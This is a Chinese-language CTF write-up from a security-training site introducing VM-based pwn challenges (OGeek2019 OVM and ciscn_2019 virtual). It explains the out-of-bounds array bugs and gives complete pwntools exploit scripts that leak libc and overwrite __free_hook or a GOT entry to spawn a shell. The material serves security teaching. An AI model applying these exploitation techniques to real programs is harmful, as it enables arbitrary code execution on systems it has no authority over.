• 新闻动态
  • 行业动态
  • 公司新闻
  • 关于我们
  • 公司简介
  • 经典活动
  • 网安知识
    vm-pwn入门
    2020-09-21 14:30

    文章共计2761个词

    预计阅读7分钟

    来和我一起阅读吧

    ≈≈≈≈≈≈≈≈≈≈≈≈≈≈

    引言

    之前一直没去了解过vm-pwn,做一些题目对vm-pwn进行一个大体上的了解,算是入门。

    前置知识

    1.对指令有过了解

    2.有耐心(感觉vm程序的代码量有点大)

    [OGeek2019 Final]OVM

    检测保护

    canary没开启

    1.png

    ida分析

    main函数

    2.png

    fetch函数

    fetch函数较为简单,即取出pc值,以pc值作为下标返回指定的指令

    3.png

    execute函数

    4.png

    可以看到指令是由几个部分组成的,其实execute函数就是一个指令表,我们通过指令表输入相应的指令就可以完成相应的操作。

    指令表

    操作码|操作数1|操作数2|操作数3

    op   |num1  |num2  |num3

    ---------------------------

    操作码

    0x70: reg[num1] = reg[num3]+reg[num2] | add指令

    0xB0: reg[num1] = reg[num3]^reg[num2] | 异或指令

    0xD0: reg[num1] = reg[num2]>>reg[num3] | 右移指令

    0xFF: 若reg[13]为0,则退出,否则打印指令集

    0xC0: reg[num1] = reg[num2] << reg[num3] | 左移指令

    0x90: reg[num1] = reg[num3] & reg[num2] |与指令

    0xA0: reg[num1] = reg[num3] | reg[num2] |或指令

    0x80: reg[num1] = reg[num2] - reg[num3] | sub指令

    0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令

    0x50: stack[op] = reg[num1] | push指令

    0x60: reg[num1] = stack[reg[13]] | pop指令

    0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令

    0x10: reg[num1] = v2(最低位) | set指令

    0x20: reg[num1] = v2 ==0

    其中漏洞点在于两条指令,由于数组的下标没有进行限制,则会产生数组越界的情况。则造成了任意地址写和任意地址读的情况。

    0x30: reg[num1] = memory[reg[num3]] | mov reg memory 指令  //任意地址读

    0x40: memory[reg[num3]] = reg[num1] mov memory reg 指令 //任意地址写

    采用movsxd指令进行下标的转移,movsxd是进行符号填充再进行转移,即数组的下标是有符号数。

    5.png

    可以看到用于保存指令的memory以及用于寄存器存储的reg的地址都比got表的地址大,那么大数组的下标为负数时,即可越界读取got表内的地址,完成基地址的泄露

    6.png

    思路

    ●首先程序再结束时,会往comment[0]的内容作为地址写入,然后将comment[0]给free掉,那么可以将comment[0]的内容修改为free_hook-4,此时可以将free_hook-4修改为/bin/sh\x00,free_hook修改为system从而获得shell

    ●由于需要将commnet[0]修改为free_hook-4,那么首先需要泄露libc_base的地址,由于读取操作没有对下标进行限制,因此进行任意地址读,读取got表项的内容,泄露libc的地址

    ●将读取得到libc地址,利用指令表的算数运算求得free_hook-4的地址,利用写操作没有对下标进行限制,进行任意地址写,往comment[0]内写入free_hook-4的地址

    #step1 读取got表项内容

    0x100a0001, #set指令,将r10设置为1

    0x100b0009, #set指令,将r11设置为9

    0xc00a0a0b, #左移指令,r10为1<<9=0x200

    0x10010001, #set     将r1设置为1

    0x10020006, #set     将r2设置为6

    0xc0030102, #左移     r3=1<<6=0x40 

    0x10010004, #set     r1=4

    0x10000006, #set     r0=6

    0x70030301, #add     r3=0x40+4=0x44

    0x80040003, #sub     r4=6-0x44=-0x3e,got表项

    0x30050004, #read    将got表项内容读到r5,这里注意一次只能读取4个字节,因此还要在读一次

    0x7004040d,#将下标+1

    0x30060004,#读取剩下的4个字节

    解释一下-0x3e,我们找到需要泄露的got表项的地址,与memory地址相减,然后要除以4,因为这个值为数组的下标,而数组的大小为int型,因此要除以4,即可求出目标地址的下标值

    7.png

    #step2 往commnet[0]写入

    由于以及泄露出got表现的地址,该地址与free_hook-4的地址相对偏移是不变的,因此就需要利用指令表的指令进行算数运算求出free_hook-4的地址即可,接着再次利用数组越界将free_hook-4写入comment[0]即可

    0x10000003,

    0x1001000f,

    0xc0000001,

    0x10010005,

    0xc0000001,

    0x10020004,

    0x1001000f,

    0xc0020201,

    0x10010001,

    0xc0020201,

    0x70000002,

    0x1001000c,

    0x10020002,

    0xc0020201,

    0x70000002,

    0x10010008,

    0x10020002,

    0xc0020201,

    0x70000002,

    0x10010004,

    0x1002000b,

    0xc0020201,

    0x70000002,

    0x70050500,

    0x10000000,

    0x10010008,

    0x80000001,#计算出comment[0]的下标

    0x40050000,#将free_hook-4的低四字节写进comment[0]

    0x10010001,

    0x70000001,

    0x40060000,#写入剩余的4个字节

    0xff000000 #打印寄存器内容


    完整exp

    from pwn import *

    libc = ELF("libc.so.6")

    context(arch='amd64',os='linux')

    sh = process("./pwn")

    #sh = remote("node3.buuoj.cn",26699)

    free_hook = libc.symbols['__free_hook']

    print 'free_hook:'+hex(free_hook)

    code = [

    0x100a0001, #set指令,将r10设置为1

    0x100b0009, #set指令,将r11设置为9

    0xc00a0a0b, #左移指令,r10为1<<9=0x200

    0x10010001, #set     将r1设置为1

    0x10020006, #set     将r2设置为6

    0xc0030102, #左移     r3=1<<6=0x40 

    0x10010004, #set     r1=4

    0x10000006, #set     r0=6

    0x70030301, #add     r3=0x40+4=0x44

    0x80040003, #sub     r4=6-0x44=-0x3e,got表项

    0x30050004, #read    将got表项内容读到r5,这里注意一次只能读取4个字节,因此还要在读一次

    0x7004040d,#将下标+1

    0x30060004,#读取剩下的4个字节

    0x10000003,

    0x1001000f,

    0xc0000001,

    0x10010005,

    0xc0000001,

    0x10020004,

    0x1001000f,

    0xc0020201,

    0x10010001,

    0xc0020201,

    0x70000002,

    0x1001000c,

    0x10020002,

    0xc0020201,

    0x70000002,

    0x10010008,

    0x10020002,

    0xc0020201,

    0x70000002,

    0x10010004,

    0x1002000b,

    0xc0020201,

    0x70000002,

    0x70050500,

    0x10000000,

    0x10010008,

    0x80000001,#计算出comment[0]的下标

    0x40050000,#将free_hook-4的低四字节写进comment[0]

    0x10010001,

    0x70000001,

    0x40060000,#写入剩余的4个字节

    0xff000000 #打印寄存器内容

    ]

    sh.recvuntil("PC:")

    sh.sendline(str(0))

    sh.recvuntil("SP:")

    sh.sendline(str(1))

    sh.recvuntil("CODE SIZE:")

    sh.sendline(str(len(code)))

    sh.recvuntil("CODE: ")

    for i in code:

      sleep(0.1)

      sh.sendline(str(i))

    sh.recvuntil("R5: ")

    addr1 = sh.recv(8)

    print 'addr1:'+addr1

    sh.recvuntil("R6: ")

    addr2 = sh.recv(4)

    print 'addr2:'+addr2

    addr = int('0x'+addr2+addr1,16)

    print 'addr:'+hex(addr)

    libc_base = addr - 0x3c67a0

    system = libc_base + libc.symbols['system']

    print 'system:'+hex(system)

    sh.recvuntil("OVM?")

    payload = '/bin/sh\x00'+p64(system)

    attach(sh)

    sh.send(payload)

    sh.interactive()

    ciscn_2019_qual_virtual

    检测保护

    8.png

    ida分析

    main函数

    程序开始开辟了三个空间,用于存放指令,数据,以及用于操作的数据空间。

    9.png

    指令表

    指令间是通过分隔符执行分隔的,分隔符有 \n\r\t存进了名为delim的变量,strtok是根据分隔符将字符串分割出来,就是为了区分我们输入的指令。指令是采用字符串进行输入的。

    0.png

    execute

    在执行指令的函数里,具体的指令操作没有反编译出来,我们需要动态调试将指令具体的操作的函数偏移调试出来。

    11.png

    将断点断在跳转时,因为rax是通过动态赋值的,因此ida不能分析出具体跳转的函数

    12.png

    进入gdb进行动态调试

    13.png

    输入你需要查找的指令

    14.png

    查看此时rax的值

    15.png

    在ida内,G键输入跳转,输入rax的值

    16.png

    可以发现这里会调用一个函数,这个函数就是save指令的操作,其余指令的操作也可以这样调试出来,就不一一演示了。

    17.png

    save

    save函数就是从运行栈的栈顶中取出两个值,一个值作为下标,另一个作为值进行赋值,很显然是一个任意地址写的功能,因为下标的值没有进行限制,因此存在一个数组越界。

    18.png

    load

    存在一个任意地址写,按照套路,就应该存在一个任意地址读,我们来看下load函数,load函数就是从运行栈的栈顶取出一个值作为下标,并且将该下标的值存入运行栈中,位于运行栈的栈顶。通用存在数组越界

    19.png

    思路

    程序没有开启got表的保护,可以修改puts函数的got表项为system

    通过load函数的数组越界漏洞读取libc的值

    通过save函数的数组越界漏洞将system写入puts函数的got表项

    在执行puts(s)时触发system

    完整exp

    from pwn import *


    libc = ELF("libc.so.6")

    #sh = process("./pwn")

    sh = remote("node3.buuoj.cn",26845)

    puts_got = 0x404020

    sh.recvuntil("name:")

    sh.sendline("/bin/sh\x00")

    sh.recvuntil("instruction:")

    payload= 'push push load push sub div load push add '

    payload+= 'push push load push sub div save '

    sh.sendline(payload) 

    sh.recvuntil("data:")

    payload = str(8)+' '

    payload += str(-4)+' '

    payload += str(puts_got+8)+' '

    payload += str(-0x2a300)+' '

    payload += str(8)+' '

    payload += str(-5)+' '

    payload += str(puts_got+8)+' '

    #attach(sh)

    sh.sendline(payload)

    sh.interactive()

    20.jpg

    实验推荐--CTF-PWN练习

    上一篇:ctf古典密码从0到1
    下一篇:Pwn之简单patch
    版权所有 合天智汇信息技术有限公司 2013-2020 湘ICP备14001562号-6
    Copyright © 2013-2020 Heetian Corporation, All rights reserved
    4006-123-731